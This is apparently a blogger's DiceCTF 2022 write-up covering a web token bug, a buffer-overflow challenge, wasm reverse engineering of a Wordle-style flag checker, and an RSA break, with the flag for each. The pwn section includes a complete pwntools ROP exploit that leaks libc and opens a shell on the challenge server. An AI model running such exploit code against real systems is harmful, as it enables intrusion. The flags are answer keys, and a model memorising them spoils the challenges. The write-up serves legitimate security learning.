Contents

DiceCTF 2022

This CTF is quite fun because I got the chance to learn more about wasm. Here is my writeup for challenges that I solved during working on it.

Web

knock-knock

We were given source code like below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

The bug is on the secret generation, where they forgot to put (), hence the secret is always the same (because crypto.randomUUID value will be constant, consist of the function implementation). We only need to run the docker, and we will be able to get the correct token for the note id 0/ https://i.imgur.com/XQQLrZC.png

Flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

Pwn

interview-opportunity

We were given a binary file and libc file. Using Ghidra, we can see the decompiled code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
undefined8 main(undefined4 param_1,undefined8 param_2)

{
  char local_22 [10];
  undefined8 local_18;
  undefined4 local_c;

  local_18 = param_2;
  local_c = param_1;
  env_setup();
  printf(
        "Thank you for you interest in applying to DiceGang. We need great pwners like you to contin ue our traditions and competition against perfect blue.\n"
        );
  printf("So tell us. Why should you join DiceGang?\n");
  read(0,local_22,0x46);
  puts("Hello: ");
  puts(local_22);
  return 0;
}

There is buffer overflow bug. We just need to leak the base address, and then ROP the binary to execve address (that we found from the help of one_gadget).

Below is the full solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

main = 0x401240
puts_plt = 0x401030
puts_got = 0x404018
execve = 0xcbd20 # rsi null, rdi null
pop_rdi = p64(0x0000000000401313) # pop rdi; ret;
pop_rsi_r15 = p64(0x0000000000401311) # pop rsi; pop r15; ret;

payload = b'a'*(0x1a+8)
payload += pop_rdi + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r = remote('mc.ax', 31081)
log.info(r.readrepeat(1))
r.sendline(payload)
log.info(r.recvuntil(b'\n'))
log.info(r.recvuntil(b'\n'))
puts_addr = u64(r.recvline().strip().ljust(8, b'\x00'))
base_addr = puts_addr - 0x00000000000765f0 # readelf -s libc.so.6| grep "puts"
print(f'Puts addr: {hex(puts_addr)}')
print(f'Base addr: {hex(base_addr)}')
log.info(r.readrepeat(1))
payload = b'a'*(0x1a+8)
payload += pop_rsi_r15 + p64(0) + p64(0)
payload += p64(base_addr + execve)
r.sendline(payload)
r.interactive()

https://i.imgur.com/uWhMBJd.png

Flag: dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

Rev

flagle

https://i.imgur.com/JPl4t8a.png
Flagle interface

We were given a wasm file which is a similar app to wordle. We need to find what is the correct words (the total words are 6). We can compile the wasm file into binary, and open it with Ghidra. After reading the decompiled, there are 5 functions on the wasm, validate_1, validate_2, validate_3, validate_5, validate_6. Each function will be used to validate each word. Below is the source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
undefined4 export::validate_1(undefined4 param1)

{
  undefined4 uVar1;

  uVar1 = streq(param1,0x400);
  return uVar1;
}

0x400:
    ram:00000400 64              ??         64h    d
    ram:00000401 69              ??         69h    i
    ram:00000402 63              ??         63h    c                                         ?  ->  ram:007b6563
    ram:00000403 65              ??         65h    e                                         ?  ->  ram:00007b65
    ram:00000404 7b              ??         7Bh    {                                         ?  ->  ram:0000007b

From the above code, we know that the first word is dice{

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
uint export::validate_2(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4,
                       int param5)

{
  uint uVar1;

  uVar1 = 0;
  if ((((char)param3 == '3') && ((char)param4 == 'l')) && ((char)param2 == '!')) {
    uVar1 = (uint)(param5 == L'D' && (char)param1 == 'F');
  }
  return uVar1;
}

From the above code, we know that the second word is F!3lD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
uint export::validate_3(int param1,int param2,int param3,int param4,int param5)

{
  uint uVar1;

  uVar1 = 0;
  if ((((param2 * param1 == 0x12c0) && (param3 + param1 == 0xb2)) && (param3 + param2 == 0x7e)) &&
     ((param4 * param3 == 0x23a6 && (param4 - param5 == 0x3e)))) {
    uVar1 = (uint)(param3 * 0x12c0 - param5 * param4 == 0x59d5d);
  }
  return uVar1;
}

From the above code, we can easily brute-force to find the correct word. Result is d0Nu7

https://i.imgur.com/jTSVgPK.png From the above image, we can see the implementation of validate_4. Below is the javascript method that is used to validate the fourth word.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function c(b) {
    var e = {
        'HLPDd': function(g, h) {
            return g === h;
        },
        'tIDVT': function(g, h) {
            return g(h);
        },
        'QIMdf': function(g, h) {
            return g - h;
        },
        'FIzyt': 'int',
        'oRXGA': function(g, h) {
            return g << h;
        },
        'AMINk': function(g, h) {
            return g & h;
        }
    }
      , f = current_guess;
    try {
        let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d;
    } catch {
        return 0x1b3c + -0xc9 * 0x2f + -0x19 * -0x63;
    }
}

The simplified version psuedocode is below

1
2
3
our_input = b;
f = current_guess;
intArrayToString(window[our_input](our_input[f-1], 'int')().toString((f & 4) << 2)).match(/.{2}/g).map(h=>parseInt(h, f*f)) === "dice{"

Deduction from the function:

  • f value should be 4, so that toString() radix argument and parseInt radix argument both will be 16, which is hexadecimal representation. From our deduction, we can conclude that basically, what it do is:
  • our_input will be a string which is one of the fields of window object, where the field length is 5 char
  • The result of the call will be converted toString(16), which is hex, split it per two, and then convert the hex to integer.
  • The result should be dice{

To get the fourth word, what I do is try it one by one all fields in the Window object which has length 5 char. After some bruteforcing, I found that the correct field is cwrap, which will be our fourth word.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
uint export::validate_5(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4,
                       int param5)

{
  uint uVar1;

  uVar1 = 0;
  if ((((char)param1 == 'm') && ((char)param2 == '@')) && ((char)param3 == 'x')) {
    uVar1 = (uint)(param5 == 0x4d && (char)param4 == '!');
  }
  return uVar1;
}

We can see that the fifth word is m@x!M

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
uint export::validate_6(int param1,int param2,int param3,int param4,int param5)

{
  uint uVar1;

  uVar1 = 0;
  if ((param2 + 0xb75) * (param1 + 0x6e3) == 0x53acdf) {
    uVar1 = (uint)(param5 == 0x7d && (param4 + 0x60a) * (param3 + 0xf49) == 0x62218f);
  }
  return uVar1;
}

With some bruteforcing, we can found that the sixth word is T$r3}.

Finally, we recover all the words, and just concatenate all of it as once, and submit it as the flag.

Flag: dice{F!3lDd0Nu7cwrapm@x!MT$r3}

Crypto

baby-rsa

We were given this file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def getAnnoyingPrime(nbits, e):
	while True:
		p = getPrime(nbits)
		if (p-1) % e**2 == 0:
			return p

nbits = 128
e = 17

p = getAnnoyingPrime(nbits, e)
q = getAnnoyingPrime(nbits, e)

flag = b"dice{???????????????????????}"

N = p * q
cipher = pow(bytes_to_long(flag), e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"cipher = {cipher}")

'''
N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
e = 17
cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971
'''

Reading the code, $N$ is small enough, so that we can easily factor it (with factordb). After we retrieve $p$ and $q$, we found out that $GCD(e, phi) = 17$, which mean there exists multiple solution to the RSA equation. However, $GCD(e, phi)$ is small enough, where we can easily find the $nth_root$ of the $cipher$. After retrieving the possible solutions, we just need to check which one contains dice{ on it. Below is the solution.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from Crypto.Util.number import *

n = 57996511214023134147551927572747727074259762800050285360155793732008227782157
e = 17
c = 19441066986971115501070184268860318480501957407683654861466353590162062492971

# n is small, so it is easy to factor it
p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821
phi = (p-1)*(q-1)

# After analysis, GCD(e, phi) is 17. The solution is small enough to be factored with nth_root, 
# where one of the root will be our flag
for m in Mod(c, n).nth_root(gcd(e, phi), all=True):
    flag = long_to_bytes(m)
    if b'dice' in flag:
        print(b'Flag: {flag.decode()}')
        exit()

Flag: dice{cado-and-sage-say-hello}

Social Media

Follow me on twitter